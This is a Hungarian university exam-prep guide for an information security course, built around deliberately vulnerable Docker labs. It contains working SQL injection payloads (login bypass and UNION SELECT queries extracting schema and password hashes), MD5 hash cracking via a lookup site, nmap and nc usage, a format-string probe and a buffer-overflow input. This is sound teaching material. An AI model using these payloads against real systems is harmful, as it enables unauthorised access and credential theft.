✓ Egyetemi, engedélyezett labor / ZH felkészülés

Információbiztonság ZH jegyzetek – rendezett lépésről lépésre guide

Ez az oldal a PDF-jegyzet és a plusz rendezett jegyzet alapján készült. A cél: ZH közben ne szétszórt parancsokat láss, hanem pontos sorrendet: mit próbálj először, mit jelent az eredmény, és hova lépj tovább.

Használati határ: ezek a lépések csak a tárgyhoz tartozó, direkt sérülékeny Docker/labor környezetekre vonatkoznak. Éles rendszeren, más fiókján vagy engedély nélküli hálózaton nem használhatók.

0. Általános tudnivalók

ZH menete

Mit várj?

A ZH egy megadott címen vagy weboldalon lesz elérhető. Először valószínűleg regisztrálni kell, általában a saját Neptun-kóddal, nagybetűkkel.

Fontos

Plusz anyag

A következő óra anyaga is benne lehet a ZH-ban. A jobb jegyhez várhatóan lesz nehezebb crackelős, buffer overflow / túlcsordulás jellegű rész is.

Várható témák

SQL injection és belépési bypass
Adatbázis-séma feltérképezése
Hash / MD5 visszafejtés
Inspecttel weboldali érték módosítása
C program futtatása, fordítása, paraméterezése
Buffer overflow jellegű feladat
Nmap portfelderítés
ncat / nc használata
Logikai, nyomozós feladat hálózati szolgáltatáson keresztül

1. Rövid ZH-stratégia

Ha elakadsz, ne random próbálkozz. Menj végig ezen a döntési fán.

1
Login vagy keresőmező van?

Először nézd meg, működik-e egyszerű SQLi bypass vagy UNION SELECT. Ha igen, utána jöhet az oszlopszám és a séma.

2
Lenyíló lista / gomb / rejtett érték van?

Inspecttel nézd meg a HTML-t. Kliensoldali value módosítás lehet a megoldás.

3
IP + porttartomány szerepel?

Nmap-pel portot keresel, majd ncat/nc segítségével kapcsolódsz a szolgáltatáshoz.

4
Letölthető C forrás vagy bináris van?

Futtatod, jogosultságot adsz, inputtal próbálod, és figyeled az oszthatóságot, memória/logikai feltételt vagy túlcsordulást.

Alap mentőöv: mindig írd fel: milyen mezőbe mit írtál, mi jelent meg, hány oszlop látszik, milyen tábla/oszlopnév derült ki.

2. Lab indítás

A megadott SQLi gyakorlók Dockerből futnak. Egyszerre csak az egyik használja az 8000-es portot.

SQLi gyakorló 1

PHP + SQLite alapú feladatsor

sudo docker run --rm -it -p 127.0.0.1:8000:80/tcp pengoe/sqlite-php-app

Megnyitás: http://127.0.0.1:8000

SQLi gyakorló 2

Második PHP + SQLite app

sudo docker run --rm -it -p 127.0.0.1:8000:80/tcp pengoe/php-sqlite-app2

Ha portütközés van, állítsd le az előző konténert.

3. SQL injection feladat

Cél: belépési bypass, majd adatbázis-séma feltérképezése, végül a szükséges felhasználói adat / hash kinyerése.

3.1. Alap belépési bypass

Első gyors próba login mezőben:

' OR 1=1;--

Jelszó mezőbe ilyenkor lehet bármi, például:

1234
Mi történik logikailag?

Az eredeti lekérdezés kb. ilyen lehet:

SELECT * FROM users WHERE name = 'BEÍRT_NÉV' AND password = 'BEÍRT_JELSZÓ';

Ha a név mezőbe ez kerül: ' OR 1=1;--, akkor a feltétel mindig igazra fordul, a -- pedig kommenteli a lekérdezés hátralévő részét.

A PDF-ben szereplő SQLite-specifikus login példa:

ABCDEFG'; --

Itt az ABCDEFG a saját Neptun-kód / azonosító helye. A cél, hogy a jelszófeltétel már ne fusson le.

3.2. UNION SELECT – oszlopszám kitalálása

A UNION SELECT-nél pontosan ugyanannyi oszlopot kell visszaadni, mint amennyit az eredeti lekérdezés is visszaad. Ezért először oszlopszámot keresel.

' UNION SELECT 1;--
' UNION SELECT 1,1;--
' UNION SELECT 1,1,1;--
' UNION SELECT 1,1,1,1;--

A PDF-ben a szűrős résznél ez a próba szerepel, ahol a számok megmutatják, melyik oszlop jelenik meg:

' UNION SELECT 1,2,3,4 --
A jegyzet alapján valószínűleg 4 mezős / 4 oszlopos lekérdezésre kell készülni.

3.3. SQLite adatbázis-séma lekérdezése

SQLite esetén a metaadatokat a sqlite_master táblából lehet lekérdezni. Ebben vannak a táblanevek és a CREATE TABLE parancsok.

MezőJelentés
nameObjektum / tábla neve.
tbl_nameKapcsolódó táblanév.
rootpageSQLite belső oldalazonosító.
sqlA létrehozó SQL, például CREATE TABLE users (...).

Általános próba:

' UNION SELECT 1,sql,1,1 FROM sqlite_master;--

A PDF-ben szereplő, látványosabb 4 oszlopos változat:

' UNION SELECT name,sql,3,4 FROM sqlite_master --

Ha ez sikerül, a válaszban láthatók lehetnek például: users, datausrbb, animals, valamint ezek oszlopai.

3.4. Users tábla lekérdezése

Ha a sémából kiderül, hogy van users tábla és benne name, passphrase, pwd mező, akkor:

' UNION SELECT 1,name,passphrase,pwd FROM users;--

A PDF-ben szereplő másik oszlopsorrendes forma:

' UNION SELECT name,passphrase,pwd,4 FROM users --

3.5. Másik tábla / DATAUSRBB lekérdezése

A jegyzetben szerepel egy másik kulcsfontosságú tábla is. A két szélső 1 csak kitöltő, hogy meglegyen a 4 oszlop:

' UNION SELECT 1,name,key,1 FROM DATAUSRBB;--

A PDF-ben ugyanez konkrétan így szerepel:

' UNION SELECT id,name,key,4 FROM datausrbb --

Itt a cél a saját Neptun-kódhoz tartozó sor és a hozzá tartozó hash / kulcs megtalálása.

3.6. MD5 hash visszafejtés

  1. SQL injectionnel lekéred a hash-t.
  2. A hash-t bemásolod egy MD5 lookup/decrypt oldalra, például: md5decrypt.net.
  3. Ha ismert a hash, megkapod az eredeti jelszót.
  4. A megszerzett jelszóval belépsz a laborfeladatban.
A hash lookup itt oktatási célú laborművelet. Valódi jelszóhash-ek visszafejtése, gyűjtése vagy más fiókhoz használása engedély nélkül tilos.

3.7. SQLi gondolatmenet ZH-n

  1. Belépési bypass kipróbálása: ' OR 1=1;--
  2. UNION SELECT oszlopszám tesztelése: 1, majd 1,1, majd 1,1,1, majd 1,1,1,1.
  3. SQLite séma lekérése: sqlite_master.
  4. Táblanevek és oszlopnevek azonosítása.
  5. Felhasználói adatok lekérése: users vagy DATAUSRBB.
  6. Hash visszafejtése.
  7. Belépés a megszerzett laboradatokkal.

4. Weboldali érték módosítása Inspecttel

Egyszerűbb webes manipulációs feladat: például „100 pizzát inspecttel átírom”. A lényeg, hogy a kliensoldali érték nem megbízható, ha a szerver nem ellenőrzi.

1
Jobb klikk → Vizsgálat / Inspect

Nyisd meg a Developer Tools-t.

2
Keresd meg a HTML elemet

Legördülő listánál a <select> és <option> elemeket keresd.

3
Írd át a value értéket

Például:

<option value="100">100</option>
4
Küldd be az űrlapot

Ha a szerver elfogadja, akkor a feladat azt demonstrálja, hogy nincs megfelelő szerveroldali validáció.

PDF megjegyzés: az option value értékét kell átírni, de a label / látható szöveg is módosítható.

5. Nmap és ncat feladat

Itt a cél először a nyitott port megtalálása, aztán kapcsolódás a szolgáltatáshoz, majd a visszakapott információk értelmezése.

5.1. Portfelderítés Nmap-pel

A PDF-ben szereplő porttartományos alap parancs:

nmap 10.6.12.105 -p 30000-31000

Ha lassú vagy SYN scan kell:

sudo nmap 10.6.12.105 -sS -p 30000-31000

A rendezett jegyzetben szereplő részletesebb változat:

nmap -A 10.6.12.105 -p 3000-
KapcsolóJelentés
-p 30000-31000Csak ezt a porttartományt vizsgálja.
-sSSYN scan, sokszor gyorsabb / halkabb működésű scan.
-ARészletesebb felderítés: szolgáltatás, verzió, OS-próbálgatás.
-p 3000-3000-es porttól felfelé vizsgál.

5.2. Nyitott portok a jegyzetekben

PDF példa

30102

A PDF-ben a példa szerint a nyitott port 30102 lett.

Rendezett jegyzet

3790

A másik jegyzet szerint a nyitott port 3790 volt.

5.3. Kapcsolódás ncat / nc segítségével

PDF szerinti forma:

nc 10.6.12.105 30102

Rendezett jegyzet szerinti forma:

ncat 10.6.12.105 3790
1
Kapcsolódás után írd be a Neptun-kódot

A PDF szerint enter után be kell írni a saját Neptun-kódot.

2
Másold ki a visszaadott sort

A visszakapott értéket kell beírni a webes feladat „visszaadott érték” mezőjébe, vagy abból kell következtetni.

3
Kilépés

Ha kész vagy: Ctrl + C.

5.4. Gyilkossági ügy / nyomozós logika

A rendezett jegyzet szerint lehet olyan feladat, ahol az ncat kapcsolat után visszakapott adatokból kell kideríteni a gyilkost.

  1. Nmap-pel megkeresed a nyitott portot.
  2. ncat/nc segítségével csatlakozol.
  3. Megadod a Neptun-kódot.
  4. Elolvasod a visszakapott információkat.
  5. Nyomok alapján következtetsz a gyilkosra.
  6. A választ beküldöd.

6. C programos / buffer overflow jellegű feladat

A jobb jegyhez várhatóan lehet ilyen nehezebb rész: bináris futtatás, fordítás SECRET konstanssal, input fájlból futtatás, túlcsordulás vagy logikai feltétel teljesítése.

6.1. Program futtatása

chmod a+x ABCDEFG.prog
./ABCDEFG.prog

Input fájlból futtatás:

./ABCDEFG.prog < inp

6.2. Fordítás SECRET konstanssal

A -D opcióval fordításkor makrót definiálsz.

gcc -D SECRET=AB00 program.c -o program

Ez azt jelenti, hogy a C kódban a SECRET nevű érték fordításkor lesz megadva.

6.3. Secret1 – oszthatósági logika

A jegyzet alapján: 999 osztható 3-mal, megvan a secret1.

999 / 3 = 333

Tehát ha a program olyan számot kér, amelynek oszthatónak kell lennie 3-mal, a 999 jó próba.

6.4. Format string / memóriaolvasás – várhatóan nem ZH

A jegyzetben szerepel, de megjegyzés szerint nem ez lesz ZH-ban:

%x:%x:%x:%x:%x

A %x hexadecimális formában írhat ki memóriaértékeket, ha a program hibásan kezeli a formázott kiírást.

6.5. Secret2 – buffer overflow, sok 9-es

A jegyzet szerint: Secret2-höz buffer overflow kell, mindenhova 9.

999999999999999999999999999999999999

A cél az lehet, hogy egy túl hosszú bemenet felülírjon egy közeli változót a memóriában.

6.6. Megjegyzendő memóriaérték

A rendezett jegyzet szerint:

user_value-tól balra levő memóriaérték: A082FEFE

Ez valószínűleg hexadecimális memóriaérték vagy secret/kulcs jellegű adat. ZH-n ezt külön érdemes megjegyezni.

6.7. Unsigned char túlcsordulás – PDF szerinti példa

A PDF-ben szereplő logika: a C a karaktereket ASCII szerint számként is kezeli. A nagy B értéke 66. Ha a programban ez történik: item *= item2, majd az a feltétel, hogy item == 8, akkor unsigned char esetén 256-tal modulozva kell gondolkodni.

(66 * item2) mod 256 == 8
66 * item2 = 264
item2 = 264 / 66 = 4
KarakterASCIIMiért fontos?
B66Ezzel számol a példában.
unsigned char0–255256 után körbefordul.
item24A PDF-példa szerint ez teljesíti a feltételt.

7. Mailserver gyakorló feladat

Ez egy sérülékeny PHP–MySQL alapú webalkalmazás, amely SQLi mellett több webes sérülékenység gyakorlására jó. Docker Compose-zal kell buildelni az image-et a megadott GitHub leírás alapján.

Csak lab: a történetben szereplő „Rosalinda” fiók csak a gyakorló app része. Valódi email-fiókokra ez nem alkalmazható.
  1. Docker Compose build és indítás a GitHub leírás szerint.
  2. Login oldalon felhasználónév: rosalinda.
  3. Jelszó nélküli belépéshez SQLi gondolkodás: idézőjel, OR feltétel, komment, hibaüzenet figyelése.
  4. Belépés után nézd át a beérkező és küldött üzeneteket.
  5. Korábbi üzenetekhez keress IDOR-t: módosítható-e message id / URL-paraméter?
  6. Ha van üzenetküldés vagy profilmező, vizsgáld meg, tárol-e HTML/JS-t. Ez a „maradandó felugró ablak” = stored XSS irány.
  7. Ha a feladat fiókból kizárást említ, gondold végig: jelszócsere, session, jogosultsági hiba – de csak a lab appban.
Mit írj bizonyítékként?

Érintett mező, használt input, kapott eredmény, képernyő vagy visszajelzés, javítás: prepared statement, szerveroldali jogosultságellenőrzés, output encoding, CSRF-védelem.

8. OWASP gyakorló feladat – Mutillidae

A Mutillidae a DVWA-hoz hasonló direkt sérülékeny alkalmazás. A metasploitable dockerben érhető el.

sudo docker run -it --rm --name metasploitable --hostname metasploitable2 tleemcjr/metasploitable2 bash

A docker bash-ben:

services.sh

Böngészőben:

http://172.17.0.2/mutillidae
TémaHol keresd?Javítás
SQLiLogin, kereső, ID-paraméterPrepared statement
XSSKomment, profil, keresés, üzenetOutput encoding, CSP
Auth / IDORMás rekord ID-jának megnyitásaSzerveroldali jogosultságellenőrzés
FájlkezelésFeltöltés, letöltés, path paraméterAllowlist, sandbox

9. Hasznos parancsok egy helyen

SQL injection
' OR 1=1;--
' UNION SELECT 1;--
' UNION SELECT 1,1;--
' UNION SELECT 1,1,1;--
' UNION SELECT 1,1,1,1;--
' UNION SELECT 1,sql,1,1 FROM sqlite_master;--
' UNION SELECT name,sql,3,4 FROM sqlite_master --
' UNION SELECT 1,name,passphrase,pwd FROM users;--
' UNION SELECT name,passphrase,pwd,4 FROM users --
' UNION SELECT 1,name,key,1 FROM DATAUSRBB;--
' UNION SELECT id,name,key,4 FROM datausrbb --
Linux / C
chmod a+x ABCDEFG.prog
./ABCDEFG.prog
./ABCDEFG.prog < inp
gcc -D SECRET=AB00 program.c -o program
Format string próba
%x:%x:%x:%x:%x
Nmap
nmap 10.6.12.105 -p 30000-31000
sudo nmap 10.6.12.105 -sS -p 30000-31000
nmap -A 10.6.12.105 -p 3000-
ncat / nc
nc 10.6.12.105 30102
ncat 10.6.12.105 3790
Docker
sudo docker run --rm -it -p 127.0.0.1:8000:80/tcp pengoe/sqlite-php-app
sudo docker run --rm -it -p 127.0.0.1:8000:80/tcp pengoe/php-sqlite-app2
sudo docker run -it --rm --name metasploitable --hostname metasploitable2 tleemcjr/metasploitable2 bash
services.sh

10. Amit külön érdemes bemagolni

SQLite séma

sqlite_master
name, tbl_name, rootpage, sql

SQLi séma lekérés

' UNION SELECT 1,sql,1,1 FROM sqlite_master;--

Users lekérés

' UNION SELECT 1,name,passphrase,pwd FROM users;--

Nmap

nmap -A IP -p 3000-

ncat

ncat IP PORT

C futtatás

chmod a+x fájlnév
./program < inp

Secret1

999, mert osztható 3-mal.

Secret2

Buffer overflow: sok 9.

Memóriaérték

A082FEFE

Nagyon rövid puskaszerű összefoglaló

SQLi login:        ' OR 1=1;--
UNION oszlopszám:  ' UNION SELECT 1,1,1,1;--
SQLite séma:       ' UNION SELECT 1,sql,1,1 FROM sqlite_master;--
Users:             ' UNION SELECT 1,name,passphrase,pwd FROM users;--
MD5:               hash -> md5decrypt.net -> jelszó -> belépés
Inspect:           value átírása HTML-ben, pl. 100 pizza
C:                 chmod a+x ABCDEFG.prog ; ./ABCDEFG.prog ; ./ABCDEFG.prog < inp
Fordítás:          gcc -D SECRET=AB00 program.c -o program
Secret1:           999, mert osztható 3-mal
Secret2:           buffer overflow, sok 9-es
Nmap:              nmap -A 10.6.12.105 -p 3000-
ncat:              ncat 10.6.12.105 3790
Utána:             Neptun-kód, visszakapott információk, gyilkossági ügy megoldása